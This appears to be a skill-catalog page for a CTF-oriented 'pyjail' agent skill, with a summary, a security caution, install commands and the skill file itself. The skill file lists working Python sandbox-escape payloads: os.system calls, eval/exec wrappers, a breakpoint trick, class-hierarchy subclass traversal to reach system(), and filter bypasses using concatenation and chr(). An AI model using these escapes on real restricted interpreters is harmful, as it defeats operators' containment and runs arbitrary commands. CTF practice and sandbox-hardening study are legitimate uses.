Automated summary
This skill helps escape Python sandbox restrictions, such as in CTF challenges or filtered eval/exec environments.
Strengths
- Provides a systematic workflow to identify and bypass keyword/character filters.
- Offers proven techniques like class hierarchy traversal, encoding, and string concatenation.
- Includes detailed reference files for advanced bypasses and complete payloads.
Limitations
- Requires intermediate Python knowledge and understanding of the object model.
- May fail if the sandbox blocks access to the class hierarchy or builtins.
- Some modern environments may have patches against these common escapes.
Use this skill when facing a Python sandbox that restricts eval/exec or filtered input, and you need to execute arbitrary code.
Avoid this skill if the environment is not Python-based or if you already have unrestricted shell access.
Security analysis
CautionThe skill teaches techniques for escaping restricted Python interpreters to run shell commands. While intended for CTF challenges and educational use, these methods could be applied maliciously. No direct malicious payloads or destructive instructions are present, but the allowed Bash tool combined with these escape methods could lead to system compromise if abused.
- •Provides methods to bypass Python sandbox restrictions and execute arbitrary OS commands, which could be misused in unauthorized environments.
Examples
I'm in a Python jail that blocks the word 'os'. How can I execute a system command to read flag.txt?The sandbox blocks __import__ and builtins. Use class hierarchy to get a file read capability.Help me find the index of a callable subclass in Python's object hierarchy so I can spawn a shell.name: pyjail description: Escapes Python sandbox restrictions. Use when working with restricted Python eval/exec environments, sandbox escapes, filtered input challenges, or Python jail challenges. allowed-tools: Bash, Read, Write, Grep, Glob
Python Jail Escape Skill
Quick Workflow
Progress:
- [ ] Identify restrictions (blocked keywords/chars)
- [ ] Try basic escapes first
- [ ] If builtins blocked, use class hierarchy
- [ ] Bypass filters with encoding/concatenation
- [ ] Execute command to get flag
Quick Reference - Common Escapes
# Basic command execution
__import__('os').system('cat flag.txt')
eval("__import__('os').system('id')")
exec("import os; os.system('ls')")
# Using breakpoint (Python 3.7+)
breakpoint() # Drops into pdb, then !cat flag.txt
# No builtins - class hierarchy
().__class__.__base__.__subclasses__()[132].__init__.__globals__['system']('cat flag')
# Keyword bypass
__import__('o'+'s').system('cat flag')
__import__(chr(111)+chr(115)).system('cat flag')
Reference Files
| Topic | Reference | |-------|-----------| | Bypass Techniques | reference/bypass.md | | Complete Payloads | reference/payloads.md |
Quick Debugging
# Find useful class index
for i, c in enumerate(().__class__.__base__.__subclasses__()):
if 'wrap' in str(c): print(i, c)
# Check available builtins
dir(__builtins__)
From the file to a first result
The download contains exactly the content displayed on this page. This copy may differ from the latest version in the source repository.
View the source and supporting filesThis download contains SKILL.md only. Any scripts, references, templates and dependencies are not included. Get the required files from the source, preserving their directory structure, before continuing.
1. Download the file
Download SKILL.mdFrom the root of a test project, save the file as .skill-downloads/python-sandbox-escape-mma3jr6j/SKILL.md, or use the command below. This folder is for inspecting the skill before installation.
Command for macOS/Linux or WSL: requires a POSIX shell and curl. On Windows without WSL, use the download button and create the folder manually.
mkdir -p '.skill-downloads/python-sandbox-escape-mma3jr6j' && curl --fail --show-error --location 'https://skills-guides.com/api/skills/python-sandbox-escape-mma3jr6j/download' --output '.skill-downloads/python-sandbox-escape-mma3jr6j/SKILL.md.part' && mv '.skill-downloads/python-sandbox-escape-mma3jr6j/SKILL.md.part' '.skill-downloads/python-sandbox-escape-mma3jr6j/SKILL.md'2. Check prerequisites
Read SKILL.md before using it. If it references scripts or external services, inspect them and prepare the required access in your test environment.
Tools declared by the author (check availability in your agent): Bash, Read, Write, Grep, Glob
Original excerpt: Quick Reference - Common Escapes
# Basic command execution
__import__('os').system('cat flag.txt')
eval("__import__('os').system('id')")
exec("import os; os.system('ls')")
# Using breakpoint (Python 3.7+)
breakpoint() # Drops into pdb, then !cat flag.txt
# No builtins - class hierarchy
().__class__.__base__.__subclasses__()[132].__init__.__globals__['system']('cat flag')
# Keyword bypass
__import__('o'+'s').system('cat flag')
__import__(chr(111)+chr(115)).system('cat flag')
The platforms on this page are catalog indications. The paths below follow tool documentation; they do not prove this skill has been run in those tools. No minimum tool version is confirmed for this listing.
3. Load the skill
After inspection, copy the complete folder into your project using one of the commands below, then open a new tool session. The command stops if a folder with the same name already exists: compare the files before replacing it.
Claude Code
test -f '.skill-downloads/python-sandbox-escape-mma3jr6j/SKILL.md' && test -s '.skill-downloads/python-sandbox-escape-mma3jr6j/SKILL.md' && mkdir -p '.claude/skills' && test ! -e '.claude/skills/pyjail' && cp -R '.skill-downloads/python-sandbox-escape-mma3jr6j' '.claude/skills/pyjail'OpenSkills
OpenSkills must already be installed. The local install/read procedure is checked with OpenSkills 1.5.0, which requires Node.js ≥ 20.6.0. Catalog slugs are not resolved automatically.
Official OpenSkills installationopenskills install './.skill-downloads/python-sandbox-escape-mma3jr6j'openskills read 'python-sandbox-escape-mma3jr6j'Reading should display the installed file content and its base directory. It does not run the skill or install its dependencies.
For an agent that reads AGENTS.md, then sync the index. This command changes AGENTS.md: review the diff before using it.
openskills syncManual method or another tool: attach SKILL.md to a conversation, or open it in an agent that can read files. Include any required supporting resources. No universal folder is recognized by every tool.
4. Try a first task
Use a short, synthetic input: an API endpoint, a small document or an interface brief. In a new conversation, attach the file or give the agent its path, then adapt this request:
Read .skill-downloads/python-sandbox-escape-mma3jr6j/SKILL.md and apply its instructions to this example: [describe a test input]. Identify any missing files, dependencies or access. Produce the result requested by the skill without inventing data or running unreviewed scripts.Expected result: output matching the skill instructions, or a precise list of missing prerequisites. A read confirmation alone does not validate a first use. If an external resource is unavailable, that path remains untested.
DeFi AMM Security
Security
Security checklist for Solidity AMM contracts, liquidity pools, and swap flows. Covers reentrancy, donation attacks, oracle manipulation, slippage, and integer math.
Semgrep Rule Creator
Security
Creates custom Semgrep rules for detecting security vulnerabilities, bug patterns, and code patterns. Includes test-first methodology, taint mode support, and validation steps. Helps when building targeted static analysis detections.
Dev Toolbar Review Guide
Security
Safety rules for the dev toolbar, PostHog client, and feature flags. Use when reviewing changes to dev-tools and related files, covering environment guards, override cookies, and SSE stream safety.